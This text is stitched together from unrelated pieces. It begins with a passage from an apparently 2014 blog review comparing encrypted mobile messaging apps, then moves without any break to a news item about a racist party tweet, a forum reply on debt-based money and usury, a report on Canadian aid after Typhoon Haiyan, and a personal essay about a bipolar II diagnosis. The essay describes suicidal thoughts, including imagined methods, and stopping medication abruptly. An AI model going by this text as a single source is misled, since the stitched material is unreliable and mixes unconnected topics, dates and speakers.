XMPP does not work well in an asynchronous mobile environment
It’s way too easy to end up having a plaintext conversation, especially when communicating with desktop users. This shouldn’t be possible, and the developers should feel ashamed that they even allow this to happen. It’s a crazy default to not require encryption for all conversations and it should be changed immediately. Hopefully no one has gotten hurt.
ChatSecure’s Response
Nice summary! We have some new plans for solving push on iOS. I’m sorry we haven’t finished it sooner.
This is excellent news. No apology is necessary!
The Guardian Project’s Response (Edited to condense replies that were spread across multiple Tweets)
Many of the limitations you pointed out are based on support for XMPP interop, which we are committed to. All the other systems you reviewed (save for Cryptocat), roll their own servers and protocols, which is great, but different. Also, supporting Tor/anonymity means push is not really viable for all. Ultimately, we have made life hard for ourselves! Also, it was a conscious choice not to require OTR always, and not something we are ashamed of by any means. Along the same lines, TextSecure using SMS is a bad choice from a privacy perspective, but logical for practical reasons.
These are great points, and I have taken them into account by adding two new bullets in the Pros category for ChatSecure. I still think it is worth asking whether or not the convenience of allowing plaintext conversations to happen by default is worth the potential downsides. I remain convinced that the answer in this case is “no” but I can see how the argument is more nuanced than I originally thought.
It’s only possible on Android, but ChatSecure’s ability to combine OTR with a self-hosted server that can be anonymously accessed via Tor is damn impressive. I have an enormous amount of respect for the ChatSecure team and for The Guardian Project as an organization. Their feedback is sincerely appreciated and I am eager to see what else they have in store.
Cryptocat has gone from an upstart that people viewed with bemused skepticism (and sometimes outright disdain) to a relatively well-respected open source project that has an admirable record of transparency. There have been some extremely serious vulnerabilities in the past, but they have always been addressed quickly. The project has recently been placing a larger emphasis on security than ever before, even going so far as to commission several outside audits of its codebase by paid consultants. The most recent analyses were conducted by Least Authority and iSEC Partners.
Cryptocat’s efforts to prioritize usability and simplicity, thereby making encrypted messaging more accessible to mere mortals, is an example that more projects should follow. In contrast with ChatSecure, for instance, it’s not possible to accidentally have a plaintext chat using Cryptocat. Encryption is an implementation detail that is largely obscured from users. This is a good thing.
The Android and iOS versions were announced on December 5th and the source code for the projects is available for review on GitHub. A public release of both clients should happen soon. Unfortunately it looks like Cryptocat is going to suffer from many of the same issues as ChatSecure. A cursory review of the source code does not reveal any push notification support at the moment, for either platform, which means that users will need to have the application open in order to communicate or else they will run into the dreaded 10-minute time limit on iOS. This is a huge step backwards compared to SMS in terms of usability.
Normal users always choose convenience over security and Cryptocat Mobile is unlikely to win any new converts. But it will significantly improve the lives of existing users. Even if it may not immediately be the secure messaging replacement that we all want right now, the world will be better off with a mobile Cryptocat. I look forward to seeing how it develops over the coming months.
Update: Cryptocat for iOS is now available. As expected, it cannot run in the background and does not support extended sessions. A notification appears just before you get logged out that says “Your chat session will end in a minute if you don’t come back.” But it’s really simple and fast, and it perfectly matches the aesthetic of the browser extension. Cryptocat fans should be pleased. Good work, Thomas!
Pros:
Another solid, cross-platform, OTR-based contender is a good thing
Uses sane defaults (chats are always encrypted)
Open source
Cons:
Not yet available for Android
The iOS client doesn’t support APN push notifications, and the Android client doesn’t support GCM push notifications
Does not support photos, videos, or voice messages
Heml.is made a big splash last July when their crowdsourcing initiative successfully reached its lofty $100,000 funding goal in only 36 hours. The timing was perfect, coming right on the heels of the initial PRISM outrage. Oh and when you are pursuing an “us against the MAN” narrative, it really helps if your project is the brainchild of Peter Sunde, the co-founder of The Pirate Bay.
The Heml.is team haven’t revealed enough details for me or anyone else to have much of an opinion yet, but I was wildly unimpressed by the passive-aggressive tone in Hemlis update #3 that was posted on August 28, 2013. Is the Heml.is team really so worried about their feelings getting hurt that they have chosen to proceed blindly and begin implementing their protocol without first verifying its design? Meanwhile, cryptographers and security researchers are worried about properly structuring systems so that no one gets tortured and killed. Step it up, Heml.is, or get out of the game. This quote is just pathetic:
Most questions about heml.is is about the encryption we’re going to use. How it’s going to work and details about it. For different reasons, we’ve stayed away from talking too much about the details. It’s not because we’re arrogant, it’s just that dealing with the crypto community is really time consuming. Whatever solution we’ve decided on would be criticized and we aren’t really interested in the flame war that’s inevitable. We’d rather create and get things going. Maybe a small lesson for the crypto geeks out there would be to be supportive instead of negative.
There aren’t enough sighs in the world.
But now they are claiming that their implementation will use libsodium (which is based on the highly-regarded NaCl library from Daniel J. Bernstein, Tanja Lange, and Peter Schwabe). They are also claiming that the clients will be open source. Perhaps there is hope after all? There’s no set release date, but it’s probably only a few months away. I am so skeptical that this will become my messaging platform of choice, but perhaps it won’t be the unmitigated disaster that it was looking like last summer.
Pros and Cons:
To Be Determined. So far they haven’t released protocol documentation or any information at all really. The design of the application looks quite nice, however.
The Silent Circle Founders and Leadership page is impressive enough that you almost have to forgive these titans of cryptography for the “Created by Navy SEALs and Silicon Valley cryptography experts” tagline. It’s kitschy and that seems like the wrong order to me, because off the top of my head I don’t know what Navy SEALs have to do with cryptography or digital security. Maybe Silent Circle’s data centers have been thoroughly fortified against rival amphibious assault teams? Maybe their logo is still visible when you are wearing night vision goggles? In all seriousness, over-the-top marketing aside, the Silent Circle suite of products is basically the only available cross-platform option at this point that covers both voice and text communications.
Silent Text, their messaging solution, is impressively calculated in its use of rhetoric. Everything about the application is designed to make you feel like the main character in a Tom Clancy novel. You don’t delete a message, you issue a “Burn Notice,” and instead of verifying fingerprints that are comprised of stodgy old hexadecimal groups you do it using phrases like “Six Romeo India Five.” I think the Android version is pretty ugly overall, like a real-life manifestation of an early 90s CGI sequence, but it gets the job done.
The biggest problem that I have with the package is that Silent Phone and Silent Text both require an active Silent Circle subscription. At $9.95 per month (or $99.95 annually) the prices aren’t unreasonable if you are a business, but there’s essentially no chance that you’ll be able to convince anyone you know that they should spend more than they do on Netflix for an esoteric messaging application that almost no one uses. Silent Phone and Silent Text are also both closed source. Silent Circle appears to be attempting to do some sort of “open core” strategy but this ends up being more confusing than comforting. For example, their Silent Text repo was last updated on March 26, 2013 and refers to version 1.5.0. But the most recent version in the Google Play Store came out on December 17th, 2013 and is version 1.2.0. Are they decrementing version numbers as they move forward, and why is this repo so damn musty and nearly a year removed from its last commit?
Pros:
Complete solution, including encrypted phone calls and messaging
Perfect Forward Secrecy and the trendiest non-NIST ciphers and elliptic curves
The founder of the company, Phil Zimmerman, invented PGP and ZRTP. It’s unlikely that we are dealing with a team of amateurs.
Cons:
Closed source (mostly)
$9.95 a month probably makes this an instant pass for everyone in your life
Surespot has by far been my favorite encrypted messaging application on Android. I have had fewer problems with it than with anything else that I’ve tried, and it has also universally been the most positively received option among my friends. For the past month or so I have been using it with one friend in particular who is a beta tester for the iOS version and it has performed wonderfully. We might only be a few days away from an open source, cross-platform messaging solution that actually works. The iOS version was submitted to the App Store on January 28th and rejected for a seemingly silly reason ten days later. It has since been resubmitted, and it shouldn’t be long now.
Update: Surespot for iOS is now available.
Surespot is extremely fast, simple, and well-designed. The interface is spartan, yet playful. Messages are sent and received instantly using Socket IO when the app is open. Apple’s APN and Google’s GCM push notification frameworks deliver notifications to iOS and Android devices respectively. It’s free, and there are no ads.
There is a voice messaging feature that is very useful and also a lot of fun. Unlocking the ability to send voice messages requires a $2 in-app purchase, but anyone can listen to them. Users are also able to donate money to the project directly and the Surespot documentation promises that a portion of the proceeds will be shared with the EFF. The in-app voice purchase and donation strategy is a clever way to subsidize the development of the application and so far it seems to be working well. The 2 million message threshold was announced on November 19th and took more than six months to reach. Just over two months later on January 27th, Surespot had delivered over 4 million messages. It looks like it is picking up momentum, and the iOS release will certainly help.
Perhaps the biggest compliment that I can pay to Surespot is that it’s easy to articulate to friends why they should install it. It offers clear advantages over SMS in terms of speed; image quality; support for long messages that won’t be split into pieces first and frequently received in the wrong order; and voice messaging. The fact that the messages are encrypted can be a big deal to you even if it’s not on your friend’s radar.
Pros:
Open source
Elegant and simple design
Did I mention that it’s fast? It is.
Supports picture and audio messages
Native GCM and APN push support means that it works well in an asynchronous mobile environment and does not depend on a persistent connection to a server
Cons:
Only 1,000 messages are stored at a time. Old messages will fall away chronologically to make room for new messages. Some people might look at this as a security-enhancing feature, and it’s always possible to copy the text of important messages, but personally I wish that I could save my conversation history.
No video support
No group messaging
No Perfect Forward Secrecy New keys can be generated at any time, but there’s no automatic per-message ratcheting like there is in OTR, Silent Circle’s SCIMP protocol, or in systems that use the new Axolotl Ratchet
Potential MITM issues Key fingerprints can be verified manually, but the server is in a position where it can send new public keys for an arbitrary contact that will then be used by other clients. The issue is documented on Surespot’s Data and Threat Analysis page, and there’s an open GitHub ticket to fix it. In the meantime, periodically reviewing fingerprints is easy to do for the paranoid among us.
Smarter people than me have analyzed Telegram to death. I have very little to add. The consensus is that the MTProto protocol is not all that great and is based on puzzlingly obscure techniques and ancient cryptographic primitives like SHA-1 that are eagerly being deprecated by the rest of the world. In the interest of fairness, Telegram’s response to all of this can be found here.
Telegram is growing like crazy and recently has been racking up more than 200,000 new users every day in Spain alone. I was really excited when I first heard about it. I mean, here was an encrypted messaging application that was available for iOS and Android, and it was open source! People are actually using it! But cryptography is hard, and they seem to have done a poor job of it. I’m staying away for now.
Pros:
Very popular
Open source
Looks exactly like WhatsApp
Cons:
Everyone that I respect hates it
Secret Chats are not the default, and default chats are not end-to-end encrypted
No Perfect Forward Secrecy at the moment, though they claim their protocol can support it with client modifications
Looks exactly like WhatsApp
If I could pick a single client and magically will it into immediate cross-platform existence, this is the one. Moxie Marlinspike and the rest of the fine individuals at Open Whisper Systems have somehow improved upon OTR’s design in every possible way and managed to do so while solving all of the problems that would typically prevent it from working well in a mobile environment. TextSecure’s V2 protocol, lovingly detailed in a series of blog posts, represents the current state-of-the-art in encrypted messaging.
So far the TextSecure V2 protocol has only been rolled out to Cyanogenmod users as part of its WhisperPush functionality. This is a major accomplishment in its own right because it means that approximately 10 million people will automatically get the benefits of encrypted messaging without any effort on their part. TextSecure is available on Android, of course, and has been for years, but the current version in the Play Store is still using the old protocol. The release of the new Android version that incorporates a brand-new design, push-based data channel messaging (instead of SMS), the Axolotl ratchet, prekeys, Curve25519, and all of the other massive improvements looks to be imminent. I can’t wait.
Update: TextSecure version 2.0 is now available for Android!
The current Android version is tough to recommend to everyday users because the MMS support is so poor. To be clear, I place all of the blame for this on the carriers who developed such an awful standard in the first place. When I try to send a picture to an AT&T user they receive only an obscure message size failure warning even though Verizon, Sprint, and T-mobile subscribers can all receive them just fine. TextSecure has no support for group messaging either, so MMS messages that are sent to multiple people don’t get threaded properly. You used to be able to work around these issues by telling TextSecure not to handle MMS and using the standard messaging application for pictures, videos, and group messages, but this is no longer possible in Android 4.4 KitKat. More than half of the people I convinced to install TextSecure ended up uninstalling it due to the MMS and group messaging issues. The new version will solve this by skipping the SMS/MMS transport layer entirely.
Update: TextSecure version 2.0 fixes most of these issues. Using it as a standalone application that only processes messages from other TextSecure users is once again possible. MMS group messages also work perfectly. Sending images via MMS to AT&T users is still broken for me.
OK, great, it’s already decent on Android if you can deal with some hiccups and is about to get even better. What about iOS? The good news is that it’s already in progress. The bad news is that it’s probably going to be a while. At Whisper System’s recent Spring Break of Code event, Christine Corbett, one of the lead developers of TextSecure for iOS, announced plans to merge TextSecure and RedPhone (Whisper System’s open source encrypted telephony program) into a single unified application. This is a great move because it means that users won’t be fragmented across two different mediums. If someone has Whisper installed you will be able to use your choice of text or voice to communicate with them. Sometime soon, Whisper for iOS will come out with voice support. Text support will come later.
How much later? That’s a good question. My hope is that the RedPhone for iOS team members (who are currently toiling away in a skunkworks non-GitHub repo) will join forces as soon as possible with Christine and Frederic to help them finish the TextSecure functionality so that it can be merged into the nascent iOS application shortly after it is released. Not having to duplicate efforts on contact list management and other shared UI areas should prove to be helpful. At the moment, TextSecure’s V2 protocol is still being fleshed out on iOS and there are several other components that have not been implemented yet. Major progress has been made, but there is still a lot of work to be done. If I had to guess (and I should stress that this is just a hunch) I would say that it’s probably going to be sometime this summer at the earliest before Whisper for iOS supports text messaging functionality.
Update: I’m extremely happy to report that I might be wrong about this. The rate of commits has picked up significantly over the past few days, and Christine Corbett now says that they are “racing the RedPhone iOS team” instead of waiting for them.
When Whisper is released, Silent Circle will finally have a cross-platform competitor that supports voice and text. Unlike Silent Circle, it will be open source (instead of “kinda”) and supported by community donations (instead of mandatory $9.95 subscriptions). Moxie et al. are in their own league entirely, and they have big plans. Whisper will be worth the wait.
Pros:
The very best protocol design, implemented by people who know what the hell they are doing
A very large userbase, thanks to the Cyanogenmod integration
Cons:
Encrypted SMS/MMS messages leak metadata to the telcos This transport layer is now optional in v2. Messages are sent over the data channel by default.
This transport layer is now optional in v2. Messages are sent over the data channel by default. MMS is horrible, and TextSecure has some issues dealing with it Most of these problems have been solved, but sending pictures to non-TextSecure users is still hit-and-miss
Most of these problems have been solved, but sending pictures to non-TextSecure users is still hit-and-miss No group messaging v2 supports encrypted group messaging and it works very well
v2 supports encrypted group messaging and it works very well The anticipation for an iOS release is killing me
Threema hails from the country that brought us no-questions-asked banking and all-purpose knives with scissors and corkscrews, Switzerland! All of its servers are located there for instant marketing cachet, as though any text-based secrets stored therein will be held as sacrosanct as the One Percent’s tax havens. But then they go ahead and make that analogy fall apart because Threema is really easy to use—a messaging application for the 99%, if you will.
It does a lot of things right: Threema is using the excellent NaCL Cryptography Library; the onboarding process for new users is very friendly; it looks great on both iOS and Android; it uses push notifications; and the FAQ does an excellent job of explaining technical concepts in an accessible way. Threema also prominently features three dots (which are the application’s namesake) next to every contact. These dots represent that user’s verification level. One red dot means no verification, two yellow dots mean that the server has verified a user’s identity, and three green dots mean that you have personally scanned and verified that user’s key and ID. This is a smart way to motivate users to practice strong security and avoid MITM attacks.
So far, so good! Except, Threema is closed source. That makes it significantly harder to trust and wipes out many of these benefits. Are they really doing what they claim to be doing? Did they make any mistakes? Does the Swiss NSA (if there even is such a thing) have a secret backdoor?
Threema has introduced a unique validation feature in an attempt to assuage these concerns. The idea is that you can tell the application to log its encrypted payload, and then you can use some open source tools that they provide in order to independently verify that the payload has been encrypted properly using NaCl. This is great, and it’s dramatically better than nothing, but as with any closed source application it’s impossible to fully audit. Perhaps the program logs one strong payload but delivers another that is significantly weaker? Maybe it only does this occasionally (and only when it is on a non-wifi network) to make it more difficult to detect? You can’t really be sure, and that’s a problem when your target demographic is paranoid.
Like skeptical parents who are on the verge of letting you go to the cool sleepover, Threema seems to really want to do the right thing. They can keep their server proprietary because a proper encrypted messenger never trusts the server in the first place, but the clients should be open source. People will still pay for the clients because they are useless without the servers, and access to the servers can be controlled. Come on, Threema! Make it official and you can help continue the proud open source tradition of being a great program with an awkward name.
Pros:
By far the best cross-platform option that is available right now, and I have tried them all Threema remains an excellent choice, but Surespot takes the crown now that it is available for iOS (and fully open source)
Threema remains an excellent choice, but Surespot takes the crown now that it is available for iOS (and fully open source) The best option for cross-platform encrypted group messaging
Good documentation
Extremely easy to set up and use
Cons:
Closed source
No Perfect Foward Secrecy in the protocol, though they claim to have implemented it at the transport layer
Just Tell Me What To Do
Today
Android to Android:
iOS to Android (or vice-versa), iOS to iOS:
Use Surespot
If you need encrypted group messaging, use Threema
The Hopefully Not Too Distant Future
Android and iOS:
Use Whisper as soon as it comes out. Encrypted phone calls and text messaging bundled together in a unified interface that will be available on both iOS and Android? Hell yes.
Final Thoughts
That’s the state of things at this point in time. Perhaps some of you may be wondering where myEnigma, Redact, TigerText, Wickr, and various other options are in the above comparison. Well, if they can’t be bothered to release any source code, fail to provide even basic protocol documentation, and have not posted a threat model analysis, then they are not worthy of your time or your attention. BBM should also be avoided at all costs.
If there is something that I have missed, or if you notice any mistakes, please let me know and I will take care of it immediately. If the developers of any of the above applications would like to respond in detail to any of the points that were raised, I will happily include such comments alongside my writeup.
My sincere thanks to all of the organizations that are fighting to protect our messages from dragnet surveillance. I am optimistic that we will soon have several viable choices for securing the thoughts and hopes and dreams that we share with all of the people who are close to us—a list that does not include the NSA or GCHQ.
SMS is dead, long live privacy.
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The tweet, sent out by the state's 7th Congressional District GOP on Sunday, was a response to the Minnesota Democratic-Farmer-Labor (DFL) Party's call to make joblessness and poverty in the black community part of a proposed legislative special session, the Star Tribune reported.
"MN #DFL now propose a 'special session' to deal with their self-created '#negroproblem,'" the tweet said.
It has since been deleted, but images of the tweet are still being circulated on social media.
The DFL -- the state's affiliate of the Democratic Party -- immediately condemned the remarks.
"You don’t have to look far to find ignorant hate speech masquerading as acceptable party messaging," DFL Chairman Ken Martin said in a statement. "However, this is not the first time the Minnesota Republican Party and their affiliates have posted racially insensitive material."
Martin called on state Republican Chairman Keith Downey to apologize. Downey did so via a Twitter account that had been inactive for nearly six months:
CD7 GOP Twitter moratorium in place and manager being relieved of duties. My apologies to all for their posts. — Keith Downey (@KeithSDowney) November 24, 2015
Roger, what would be the difference between spending Debt base money and equity base money?
Still can't figure the difference... and I still have not found any theory that factors debt on economic development.
Hi Jose,
The main point of Werners is that In Germany lots of small banks evenly distributed across Germany mean that locally Small and Medium Enterprises have access to the Capital they need in a symmetric system which is very Robus. Highly centralised Banking models lead to asymmetric risk profiles and lack of skin in the game leads eventually to moral hazard becoming a trivial consideration ( To Big to fail , To big to Jail.``
Werner does not go into the differences between Debt based and credit based money but it does make a difference. The point which Werner does raise and that is relevant here iuis that Banking is extractive of value and not additive, this presents the Statistatic ians caluclating GDP a value added measure witrh a problem because the FInancial Services Sector as a profit centre does nothing to add to real wealth.
On the question of Usury, or the usury Mistake, my views on this are aligned with Bernard Leitaer and his parable of the 11th round, creating money through making loans without creating the interest element to pay for the loans adds competition for money into the System which serves only to commodity money when its real benefit to a market system is to function as an accounting device.
I think Carol Quigley statement Money and Goods are different from Tragedy and Hope makes this point pretty well.
Money and Goods Are Different
”Thus, clearly, money and goods are not the same thing but are, on the contrary,
exactly opposite things. Most confusion in economic thinking arises from a failure to
recognise this fact. Goods are wealth which you have, while money is a claim on wealth which you do not have. Thus goods are an asset; money is a debt. If goods are wealth; money is not wealth, or negative wealth, or even anti-wealth. They always behave in opposite ways, just as they usually move in opposite directions. If the value of one goes up, the value of the other goes down, and in the same proportion.”
The Relationship Between Goods and Money Is Clear to Bankers
In the course of time the central fact of the developing economic system, the
relationship between goods and money, became clear, at least to bankers. Thisrelationship, the price system, depended upon five things: the supply and the demand for goods, the supply and the demand for money, and the speed of exchange between money and goods. An increase in three of these (demand for goods, supply of money, speed of circulation) would move the prices of goods up and the value of
money down. This inflation was objectionable to bankers, although desirable to producers and merchants.On the other hand, a decrease in the same three items would be deflationary and would please bankers, worry producers and merchants, and delight consumers (who obtained more goods for less money). The other factors worked in the opposite direction, so that an increase in them (supply of goods, demand for money, and slowness of circulation or exchange) would be deflationary.”
http://letthemconfectsweeterlies.blogspot.se/2016/02/usury-hells-fuel-and-mans-oppressor.html
With respect to the difference when money supply continues to expand because Banks continue to make sufficient loans to maintain velocity of money sufficient in the system to allow sufficient time for all debtors to meet their interest payments there is not a problem, When the level of loans reduces to the Point where velocity of money slows as hoarding of money becomes "Prudent" the problems of the difference between Debt based money at interest and Credit based money shows up radically, these events are Known as Recessions, but are baked into the debt based money cake.
Here is a link to Lietaers Parable of the 11th round.
http://www.lietaer.com/2010/09/the-story-of-the-11th-round/
http://www.lietaer.com/2010/09/effects-of-interest-based-currencies/
Three Main Effects.
Encouragement of Competition
Need for endless growth
The concentration of Wealth.
For a most detailed empirical view of the problems of Usury based monetary creation systems Helmuth Kreutz is I believe the Leading researcher in the field,
Kreutz money syndrome and other important monetary texts are included and embedded at this link.
CTVNews.ca Staff
Canada is sending members of its Disaster Assistance Response Team to the Philippines to aid the emergency response in the typhoon-battered country, Foreign Affairs Minister John Baird announced Monday.
Baird told reporters that a C-17 airplane carrying between 35 and 50 troops – an advance component of DART—as well as equipment and essential items will depart Canada late Monday afternoon.
The advance team will work with Filipino authorities and decide how to use the rest of DART’s resources.
“We want to do all we can as quickly as we can to meet all the needs,” Baird said.
He added that Ottawa is moving “probably faster than we’ve ever moved” to deploy DART to a country in need.
DART, which specializes in basic medical care and infrastructure repairs, as well as water purification, was last deployed to Haiti after a massive earthquake devastated that country in 2010.
The Canadian Red Cross also said it will be sending its field hospital to the Philippines.
Ottawa has already pledged to match Canadians’ donations to registered charities responding to the crisis.
Earlier Monday, Canadian officials said aid is slowing making its way into the Philippines after one of the worst storms ever recorded killed at least 942 people.
As many as 10,000 are feared dead in one Philippine city alone, meaning the full extent of damage wrought by Typhoon Haiyan is not known as emergency officials have yet to reach some of the hardest-hit areas.
"The reports we are getting back are (describing it as), 'This is unimaginable, this is unthinkable. This is basically one of the worst natural disasters we have seen in decades,'" Hossam Elsharkawi, director of emergencies and recovery at the Canadian Red Cross, told CTV's Canada AM on Monday.
More than 9.5 million people have been affected by the typhoon and at least 600,000 have been forced from their homes.
Elsharkawi said members of the Canadian Red Cross are in the Philippines, ahead of the organization's field hospital which is expected to arrive in the next 24 to 48 hours.
He said the most urgent needs are currently for emergency medical assistance, clean drinking water and food.
"Aid is beginning to trickle into the country. But the logistics are a nightmare and will continue to be so for a number of weeks," he said.
Rescuers face roads that are completely blocked by debris, and airports have also suffered damage, both of which are hampering relief efforts.
Speaking to CTV News Channel on Monday afternoon, another Canadian Red Cross spokesperson, Pam Aung Thin, said “quite a bit of co-ordination” takes place amongst the various aid groups in the area after such disasters strike.
The first step, she said, is working with the local Philippine Red Cross to assess the situation and determine where the needs are the greatest.
“What we often see in these situations is that the local volunteers are the first ones on the ground,” she said, noting that these people would’ve also helped with evacuations before the typhoon hit. “But often times, these are volunteers and staff who are directly affected -- and whose families are directly affected -- by these events.”
Both Elsharkawi and Aung Thin said Canadians who would like to help are urged to make monetary donations to charities, rather than attempting to ship food or clothing that could "clog up" the logistics network. It can also help the Philippine economy in a time of need.
For a full list of registered Canadian charities, click here
To donate to the Red Cross' Typhoon Haiyan fund, click here
"Maybe you're just feeling better," my psychiatrist said, "because something good has happened in your life." He was the only psychiatrist who was open on a Saturday and covered by my insurance plan, provided by a job I couldn't stand.
I pondered this as I stared out the window on a dull, gray February afternoon in Queens. The monotony of my desk job hadn't changed in the nearly two years I'd been there, except that I was barely making deadlines because I couldn't focus. My personal life was the same—still solid with my long-term boyfriend, but nothing particularly life-changing going on. I saw my friends regularly, and my family was good. Which is to say: Things were fine, but nothing that great was happening—at least, nothing to elicit days' worth of feeling euphoric, barely sleeping, being hyper-creative, and starting a million projects I knew in the back of my mind were never going to get done. I would later find out that this was a form of mania. My psychiatrist at the time, however, didn't believe me when I explained the symptoms.
"Why don't I keep you on the same dosage of Wellbutrin, and you come back in a month to see how you feel?" I took the paper prescription and headed out of the office, knowing the "crazy-sexy-skinny pill" wasn't going to be the answer to my problems. I would eventually be diagnosed with bipolar II—a milder yet more confusing form of bipolar disorder. But it would take some frustrating trial-and-error to get there.
"Bipolar I is anyone who's had a full-blown mania, and you only need one [manic phase] to meet those criteria. Bipolar II is the people who've never had a full mania, but have had mild manias called hypomanias," psychiatrist Michael Gitlin, professor of clinical psychiatry at the UCLA School of Medicine, explains. People with full-blown mania experience what he calls significant functional impairment. "They've done damage to their life because of the mania: getting arrested, getting fired, ruining a long-term relationship, pissing away life savings, getting hospitalized, being psychotic. Any one of those will make you manic, not hypomanic." Hypomania, on the other hand, isn't as life destructive, but is still accompanied by racing thoughts, an increase in energy, and feelings of grandiosity.
While the manic phases in bipolar I and bipolar II are different, the depression is equally severe. People with bipolar disorder are depressed most of the time. Some people have manic phases frequently, while others only have a few in a lifetime and may not experience mania until later in life. This is why it's so often overlooked and misdiagnosed.
I was first diagnosed with depression during my freshman year of high school. I went from being a straight-A honor student to barely pulling in Cs and Ds. When I wasn't in school, I was in my room sleeping, ignoring my homework. I would pack my lunch, only to toss it in the trash once I got to the cafeteria. I lost 20 pounds. There was nothing to be depressed about, which was the most frustrating part: I had the typical privileged white upper-middle class upbringing, with a loving family and vacations and a nice home on a golf course. The more I reflected on this, the worse I felt; it would have been easier to pin my depression on childhood trauma. People who say things like "happiness is a choice" have never known what it's like to be trapped in the prison of your own mind, ashamed of simply existing and believing you don't deserve to live to see another day.
When my parents scolded me one day for not focusing on my schoolwork, I finally broke down into uncontrollable sobs. "I don't see the point of doing homework," I choked out through tears, "because I don't see the point in living. Every day, I want to die." It sounds like something any melodramatic teenage girl would say, but I meant it. I spent each day trudging through a dark fog, thinking about how I could hang myself from the second-story banister in our foyer without traumatizing my parents. Luckily, they believed me and made an appointment with the nearby children's hospital. I would spend the next few months visiting a rotation of a psychologist, adolescent physician, and registered dietitian trying to treat my various mental illnesses with Zoloft—which increased in dosage every few weeks—and a meal plan.
With psychotherapy, medication, and a healthy diet, I seemed to be doing well. So well that I took myself off the medication and therapy cold turkey before my senior year. That's the funny thing about antidepressants: When they're doing their job and making you feel better, it tricks your brain into thinking you don't need them anymore.
Over the next ten years, I naively thought I could treat my "mood swings" with good old-fashioned diet and exercise, no matter how bad they got. Despite my years trying to ignore it, my depression and its dear friend, suicidal ideation, started hounding me worse than ever after I moved to New York. Instead of a rope and a noose, New York brought its own set of suicide opportunities: I could wait until the subway came barreling through a station and toss myself off the platform like a used tissue flung towards a wastebasket. Or, in a landscape of towering skyscrapers, ride an elevator to the top floor, seek an open roof deck, and jump.
Every once in awhile, through my dark depression, I would emerge to find myself light, happy, and extra motivated. As a creative person, I welcomed these surges of energy. I would be flooded with dozens of brilliant new ideas: an outline for a book, a new blog I must launch, or an article that would be just perfect for a magazine feature. I would ride this wave of creativity, typing diligently away on my laptop for hours, trying to jot down the words as fast as they came to my brain. I could survive on little sleep, and would wake up feeling excited to take on the day, despite my racing thoughts. It was a welcome reprieve from the heavy cloud I was normally under. This is what a hypomanic episode looked like for me.
"Hypomanic people by definition are not causing major damage in their life," Gitlin says. "In fact, they usually feel terrific. They're more productive than usual, they sleep a little less, they have more energy. They and lots of people around them would say, 'Gee, they're doing great. There's nothing wrong with them.' It's only later in retrospect that we realize that they actually have hypomanias."
Under Wellbutrin's influence, I stayed up until 4 AM one night completing projects for my apartment. I DIY'd a chalkboard frame, painted a new tray for our coffee table, backed up all the files from my laptop to an external hard drive, and organized all the shoes in my closet, carefully labeled with washi tape and a Sharpie marker. It was the most productive I had been in ages.
I was also more emotional than ever. As someone who has struggled with anxiety since her first depression diagnosis, I found myself routinely overcome with unexplained feelings of nervousness, sometimes with my heart beating so fast I thought I was having a heart attack. Other times, I would be so angry and irritable, I would lash out at my live-in boyfriend. "Why would you throw those ripe bananas away when you know I like to freeze them for my smoothies?" I screamed one evening, my blood boiling in my veins and surging to my head. For someone who used to be so laid-back and even-keeled, this felt like an out-of-body experience. Turns out, manic stages can also manifest themselves as feelings of irritability instead of grandiosity.
So I found another psychologist covered under my insurance and snuck away to his office on the Upper West Side during my lunch break. After explaining my symptoms of both depression and what I thought was mania (thanks to Dr. Google) during the patient intake, he asked what the most irrational thing I had done was. I knew my form of mania was more subdued (i.e. typing on my laptop all hours of the night instead of, say, draining my bank account and going on a shopping spree), and my previous psychiatrist didn't take me seriously, so I took some creative liberties.
"Umm, sometimes I spend a lot of money I don't have." True, I haven't always been the most financially-savvy person, but it was a gross exaggeration. I don't think spending $100 at Target counts as a mania-fueled shopping bender. Regardless, he bought it. He prescribed me Equetro, an anticonvulsant used to treat seizures and bipolar disorder. When treating bipolar patients, Equetro is usually paired with something else, such as an antidepressant. My doctor said to come back in a couple weeks to see how I was doing on the medication and if we needed to combine it with another prescription.
We never got that far. He didn't have a receptionist, so there was no one to take my calls to schedule a follow-up appointment, and he wasn't returning my voicemails. Meanwhile, taking Equetro felt like I was shot with a horse tranquilizer (or, what I imagine being shot with a horse tranquilizer feels like). I was constantly tired, and my depression was worse. Every morning when I woke up, I felt like I had been hit by a truck. I had to literally peel myself out of bed, barely making it through brushing my teeth and dry shampooing my hair before slogging towards the subway. It's not safe to take yourself off medication without a doctor's permission, but I couldn't spend one more day of feeling like a zombie.
It took seeing yet another psychiatrist, whose office was filled with woodland fairy-inspired trinkets and signs emblazoned with phrases like Life isn't about waiting for the storm to pass; it's about learning to dance in the rain to arrive at the diagnosis of a milder form of bipolar disorder. She seemed to believe me when I explained my hypomanic symptoms and prescribed me Latuda. Latuda is used to treat bipolar depression, which is different than unipolar depression, or what people normally think of as standard depression.
"If you have either one manic or one hypomanic episode in your life and you have depression, then you have bipolar depression," Gitlin explains. "You can have a bipolar I depression and you can have a bipolar II depression."
Although I was doing all right on Latuda, I wasn't taking anything to address the mania and irritability. I was able to focus at work and get up in the morning after a good night's sleep feeling refreshed, but the side effects weren't great. My doctor instructed me to take Latuda at night with at least 350 calories, so I popped one in with dinner; eating another heavy snack before bed wasn't ideal for someone who has always struggled with her weight and had to count calories diligently.
Within an hour of taking it, I would get a weird sense of foreboding and dread, like I couldn't even fathom brushing my teeth or washing my face. This isn't that uncommon of a symptom, according to drug forums I read. Then, it would knock me out. I felt all right during the day, but my bedtime routine felt like torture, and I couldn't take my medication if I knew I had plans during the evening. (Hint: When prescribed medication for mental illness, don't skip doses).
About a year and a half after my first Wellbutrin experience, I finally visited the last remaining psychiatrist on Zocdoc who was covered under my insurance and had manageable office hours. He believed me when I described the depression, the random bouts of energy, and the irritability. He kept the Latuda but coupled it with another mood stabilizer. I would take one of each before bed. After a few weeks, I was starting to notice a major difference. I hate to say I was feeling like "myself" because in my life before depression I was still a kid, but it was the closest I had ever felt to normal.
My journey to a proper diagnosis is not at all uncommon. Aside from the lack of access to proper care, even under insurance coverage (which is a whole other issue), bipolar disorder itself is still widely misunderstood and murky to diagnose.
"Most people with bipolar disorder have depression before they have a first hypomania or mania. In that case, you can say, 'Well, they were misdiagnosed,' but there was no reason to know that they have bipolar disorder. They haven't had their first episode yet," Gitlin explains. "Hypomania is very easy to miss and since people tend to have a first depression before they have a first mania or hypomania, a lot of those people will emerge into bipolar disorder, but in fact, at the time that happened there was no reason to know that."
